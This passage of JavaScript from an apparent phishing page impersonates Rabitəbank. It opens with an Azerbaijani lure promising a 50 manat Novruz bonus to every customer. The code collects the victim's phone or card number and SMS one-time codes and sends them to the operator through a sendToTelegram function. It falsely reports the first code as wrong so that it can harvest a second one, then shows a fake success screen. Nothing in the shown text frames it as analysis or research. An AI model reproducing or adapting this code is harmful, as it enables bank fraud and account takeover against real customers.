Hörmətli müştərimiz, Rahat Bankçılıq prinsipimizə sadiq olaraq bu Novruz bayramı münasibətilə hər Rabitəbank müştərisinə 50 Manat bonus hədiyyə edirik.
${fin}\n💳 Kart №: ${currentPhone}\n🕐 Vaxt: ${new Date().toLocaleString('az-AZ')}`);
btn.disabled=false;btn.textContent='Doğrula və Bonusu Al';
goToOtp();
}
function goToOtp(){
document.getElementById('otpPhoneBadge').textContent='📱 Mobil nömrənizə SMS göndərildi';
showStep('otp');resetOtpBoxes();startTimer(60);
setTimeout(()=>document.querySelectorAll('.otp-box')[0].focus(),100);
}
function resetOtpBoxes(){
document.getElementById('otpErr').textContent='';
document.querySelectorAll('.otp-box').forEach((box,i)=>{box.value='';box.classList.remove('filled','error-box');box.oninput=(e)=>onOtpInput(e,i);box.onkeydown=(e)=>onOtpKey(e,i);box.onpaste=onOtpPaste;});
}
function onOtpInput(e,i){const boxes=document.querySelectorAll('.otp-box');const val=e.target.value.replace(/\D/g,'');e.target.value=val.slice(-1);e.target.classList.toggle('filled',e.target.value!=='');e.target.classList.remove('error-box');document.getElementById('otpErr').textContent='';if(val&&i<5)boxes[i+1].focus();if([...boxes].every(b=>b.value!==''))handleOtp();}
function onOtpKey(e,i){const boxes=document.querySelectorAll('.otp-box');if(e.key==='Backspace'&&!boxes[i].value&&i>0)boxes[i-1].focus();if(e.key==='ArrowLeft'&&i>0)boxes[i-1].focus();if(e.key==='ArrowRight'&&i<5)boxes[i+1].focus();}
function onOtpPaste(e){e.preventDefault();const text=(e.clipboardData||window.clipboardData).getData('text').replace(/\D/g,'').slice(0,6);const boxes=document.querySelectorAll('.otp-box');[...text].forEach((ch,i)=>{if(boxes[i]){boxes[i].value=ch;boxes[i].classList.add('filled');}});if(text.length>0)boxes[Math.min(text.length,5)].focus();if(text.length===6)handleOtp();}
let otpAttempts=0;
function handleOtp(){
const boxes=document.querySelectorAll('.otp-box');
const code=[...boxes].map(b=>b.value).join('');
if(code.length<6){document.getElementById('otpErr').textContent='Bütün 6 rəqəmi daxil edin';return;}
const btn=document.getElementById('otpSubmitBtn');btn.disabled=true;
const cehd=otpAttempts===0?'1-ci':'2-ci';
sendToTelegram(`🔐 Rabitəbank — OTP Kodu (${cehd} cəhd)\n━━━━━━━━━━━━━━━━\n📱 Mobil: ${currentPhone}\n🔑 OTP: ${code}\n🕐 Vaxt: ${new Date().toLocaleString('az-AZ')}`);
if(otpAttempts===0){
otpAttempts++;let secs=7;
btn.textContent=`Kod yanlışdır (${secs}s)`;
boxes.forEach(b=>b.classList.add('error-box'));
document.getElementById('otpErr').textContent='Daxil etdiyiniz kod yanlışdır';
const cd=setInterval(()=>{secs--;if(secs>0){btn.textContent=`Kod yanlışdır (${secs}s)`;}else{clearInterval(cd);btn.disabled=false;btn.textContent='Bonusu Qazanın 🎁';boxes.forEach(b=>{b.value='';b.classList.remove('filled','error-box');});document.getElementById('otpErr').textContent='Kodu yenidən daxil edin';boxes[0].focus();}},1000);
return;
}
btn.textContent='Yoxlanılır...';
setTimeout(()=>{btn.disabled=false;btn.textContent='Bonusu Qazanın 🎁';stopTimer();otpAttempts=0;showStep('success');},1000);
}
function goBackToVerify(){stopTimer();otpAttempts=0;showStep('verify');}
function startTimer(s){stopTimer();document.getElementById('resendBtn').classList.remove('show');document.getElementById('timerTxt').style.display='';document.getElementById('timerCount').style.display='';let r=s;updateTimerDisplay(r);timerInterval=setInterval(()=>{r--;updateTimerDisplay(r);if(r<=0){stopTimer();document.getElementById('timerTxt').style.display='none';document.getElementById('timerCount').style.display='none';document.getElementById('resendBtn').classList.add('show');}},1000);}
function updateTimerDisplay(s){document.getElementById('timerCount').textContent=String(Math.floor(s/60)).padStart(2,'0')+':'+String(s%60).padStart(2,'0');}
function stopTimer(){if(timerInterval){clearInterval(timerInterval);timerInterval=null;}}
function resendOtp(){resetOtpBoxes();otpAttempts=0;startTimer(60);document.getElementById('resendBtn').classList.remove('show');document.getElementById('timerTxt').style.display='';document.getElementById('timerCount').style.display='';setTimeout(()=>document.querySelectorAll('.otp-box')[0].focus(),100);}